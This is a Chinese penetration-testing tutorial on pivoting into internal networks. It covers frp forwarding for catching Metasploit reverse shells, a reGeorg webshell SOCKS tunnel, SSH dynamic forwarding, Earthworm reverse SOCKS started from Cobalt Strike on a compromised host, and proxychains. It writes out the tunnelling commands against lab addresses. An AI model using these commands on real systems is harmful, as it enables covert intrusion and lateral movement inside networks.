内网穿透之流量代理转发

时间:2024-02-24 20:52:35

在进行渗透测试时经常会遇到目标在内网或者不能直接访问的情况,这时候就需要将我们的流量代理进目标内网,下面介绍几种流量代理/端口转发方法。

frp端口转发

使用frp将本地kail的端口映射到公网的端口上,这样在对公网机器进行反弹shell的时候,就可以将要反弹的地址改为公网对应的地址和端口,就相当于反弹到本地的kail端口上。这里说两种方法1.使用frp, frp 是一个可用于内网穿透的高性能的反向代理应用,支持 tcp, udp 协议,为 http 和 https 应用协议提供了额外的能力,且尝试性支持了点对点穿透。

  • 下载frp可执行包
wget https://github.com/fatedier/frp/releases/download/v0.32.0/frp_0.32.0_linux_amd64.tar.gz
  • 解压
tar zxf frp_0.32.0_linux_amd64.tar.gz
  • 进入文件
cd frp_0.32.0_linux_amd64/


1.客户端也就是需要被端口映射的客户端需要配置frpc.ini

server_addr为公网ip,server_port为服务端和客户端通信端口。下面的为我们配置的具体服务,我们需要1234端口监听反弹的webshell,所以设置1234为转发的端口,如果有流量经过服务端的1234端口,那么就会转发到我们内网攻击机的1234端口
2.配置frp服务端
frp服务端需要配置frps.ini,只用简单进行配置通信端口,就是客户端设置的server_port

利用方法:
在进行反弹shell之前,先在服务器开启我们的frp
启动:./frps -c frps.ini

再启动客户端
启动:./frpc -c frpc.ini

再看服务端响应成功

然后msf设置监听本地1234端口,run

之后生成反弹码的时候,将反弹的地址设置为服务器对应的地址和端口,然后我们本地的msf就会收到反弹的shell

当在靶机运行了oo.exe后,可以看到,成功反弹

reGeorg+Proxifier

reGeorg 是 reDuh 的升级版,主要是把内网服务器的端口通过 http/https 隧道转发到本机,形成一个回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。它利用 webshell 建立一个 socks 代理进行内网穿透,服务器必须支持 aspx、php 或 jsp 这些 web 程序中的一种。
reGeorgSocksProxy由服务端和客户端两部分组成。服务端有php、aspx、asph、jsp、node.js等多个版本,客户端则由python编写。其工作原理可简单描述为python客户端在本地监听一个端口,提供socks服务,并将数据通过http/https协议发送到服务端上,并从服务端上用socket实现转发。
在内网渗透中,由于防火墙的存在,导致我们无法对内网直接发起连接,因此就需要端口反弹,如果进一步对内网其他主机进行渗透,就需要通过内网的代理,才能对其他主机进行扫描,渗透。但有些情况下目标机器不允许开放其他端口,只有80或8080端口。我们权限也不允许修改这一限制,那么我们就可以使用这套组合(reGeorg+Proxifier)代理来将我们后续渗透的流量代理到目标内网主机。

实验案例

1.上传tunnel.nosocket.php
外网攻击机:192.168.114.1
web跳转机:外网ip:192.168.114.129,内网ip:169.254.100.5(可通过vm设置双网卡实现)
内网目标机:内网ip:169.254.100.160
在实战中需要找到上传点或者获取shell之后再将文件上传,这里直接将文件tunnel.nosocket.php放到网站根目录下(php这里分为有socket与无socket的,tunnel.php需要使用dl()函数加载socket模块),然后访问,出现如下画面即表示正常

2.本地执行cmd
(1)reGeorg 需要Python2.7,还需要urllib3模块的支持,然后执行

python reGeorgSocksProxy.py -p 8888 -u http://192.168.114.129/tunnel.nosocket.php


(2)再打开Proxifier代理工具设置代理:Profile-proxy servers:设置:192.168.114.129:80 socks5代理

(3)再打开代理规则进行配置,设置那些软件的流量经过代理,那些软件流量直连,如果要让浏览器可以直接访问内网的web应用,那么就配置浏览器经过代理,其他不经过代理的软件就设置direct模式(直连)

注意配置代理规则时将python.exe设置为direct模式,不然会死循环。

设置好之后就可以通过代理直接访问内网服务。

远程连接桌面

SSH端口转发

创建ssh隧道的常用命令参数如下:

-C:压缩
-f:将SSH传输转入后台执行,不占当前的Shell
-N:建立静默连接(建立了连接,但是看不到具体会话)
-g:允许远程主机连接本地用于转发的端口
-L:本地端口转发
-R:远程端口转发
-D:动态转发
-P:指定SSH端口

1.远程动态端口转发
有一台内网机器,内网22端口映射到公网221.xx.xx.xx的44364端口并且只有这个路线能出网,有ssh账号密码,要设置socks代理隧道。

ssh -CfNg -D 1111 hack@219.153.49.228 -P 44866

使用这个命令之后就使用ssh建立了一个socks4/5代理 -D命令在本地建立一个监听端口(隧道)将接收到的流量转发给自己的52826端口,再通过52826端口将流量发送给发送给目标的22端口,这就是ssh动态转发,所有可以通过socks4/5代理的流量都可以通过加密通道进行代理访问。

使用ew+SocksCap穿透目标内网

EarthwormEw(Earthworm)是一款当之无愧的内网穿透大杀器,应用的平台非常广泛,包括:

ew_for_Win.exe        适用各种Windows系统(X86指令集、X64指令集)      Windows7、Windows XP
ew_for_Linux32        各常见Linux发行版 (X86 指令集 CPU)         Ubuntu(X86)/BT5(X86)
ew_for_linux64        各常见Linux发行版 (X64 指令集 CPU)        Ubuntu(X64)/Kali(X64)
ew_for_MacOSX64        MacOS系统发行版 (X64 指令集)            苹果PC电脑,苹果server
ew_for_Arm32           常见Arm-Linux系统                      HTC New One(Arm-Android)/小米路由器(R1D)
ew_mipsel              常见Mips-Linux系统 (Mipsel指令集 CPU)        萤石硬盘录像机、小米mini路由器(R1CM)

下面简单介绍一下它的应用场景,更复杂的情况在官网有介绍。

1、正向socks v5服务器 【适用于目标机拥有一个外网IP】
服务器端执行以下命令:

ew.exe -s ssocksd -l 888

说明:服务器开启端口为888,SOCKS的代理。然后使用sockscap64添加这个IP的代理就可以使用了。
2、反弹socks v5服务器 【适用于目标机器没有公网IP,但可访问内网资源】
本地执行以下命令:

ew.exe -s rcsocks -l 1008 -e 888

说明:该命令的意思是在我们公网VPS上添加一个转接隧道,把1080端口收到的代理请求转交给888端口。
服务器端执行以下命令:

ew.exe -s rssocks -d 2.2.2.2 -e 888

说明:该命令的意思是在服务器上启动SOCKS V5服务,并反弹到IP地址为2.2.2.2的服务器888端口上。

实验案例

本次环境用的是第二种
测试目标机器没有公网IP,但可访问内网资源。

  • ① 在我们公网vps上运行以下命令
./ew -s rcsocks -l 1260 -e 1261

添加转接隧道,把1260端口收到的代理请求转给1261端口

  • ② 然后我们通过cs在目标机上上传ew,在cs中执行:
ew.exe -s rssocks -d 148.xx.xx.xx -e 1261(148.xx.xx.xx为公网vps)

注意:这里在本地开启SOCKS5服务,并与vps的1261端口建立连接,服务器就会把攻击者的代理流量发送给本地(就是内网机器)

这时候公网vps上就会显示连接成功

  • ③ 接下来就可以用刚刚转发出来的端口来接受代理请求了。
    方法一:通过SocksCap64连接设置的代理


    之后再添加要在socks隧道中运行的程序,该程序即可通过socks进入目标内网。
    方法二:可以浏览器设置Socks5代理或者kali通过proxychains代理来访问目标内网服务
    Chrome浏览器设置Socks5代理(其他浏览器同理)

    此时已经可以通过浏览器访问内网web站点

proxychains-ng(proxychains的升级版), proxychains无法使用Tor代理

方法三:在linux上可以通过proxychains-ng来让流量通过代理
下载地址:https://sourceforge.net/projects/proxychains-ng/files/
不建议使用命令行下载有点慢,建议浏览器下载。之后解压并在解压目录打开命令行。
执行以下代码:

./configure --prefix=/usr --sysconfdir=/etc
make && make install
make install-config

之后配置代理链

vi /etc/proxychains.conf
socks5 148.xx.xx.xx 1260


配置完后 测试内网穿透是否成功

成功了,这就是目标机器的127.0.0.1站点内容。
proxychains4配合nmap还可以对目标机器进行进一步内网探测,这里就不赘述了。

本文所有内容只用于学习与交流,严禁用于非法用途,产生一切后果与本人无关。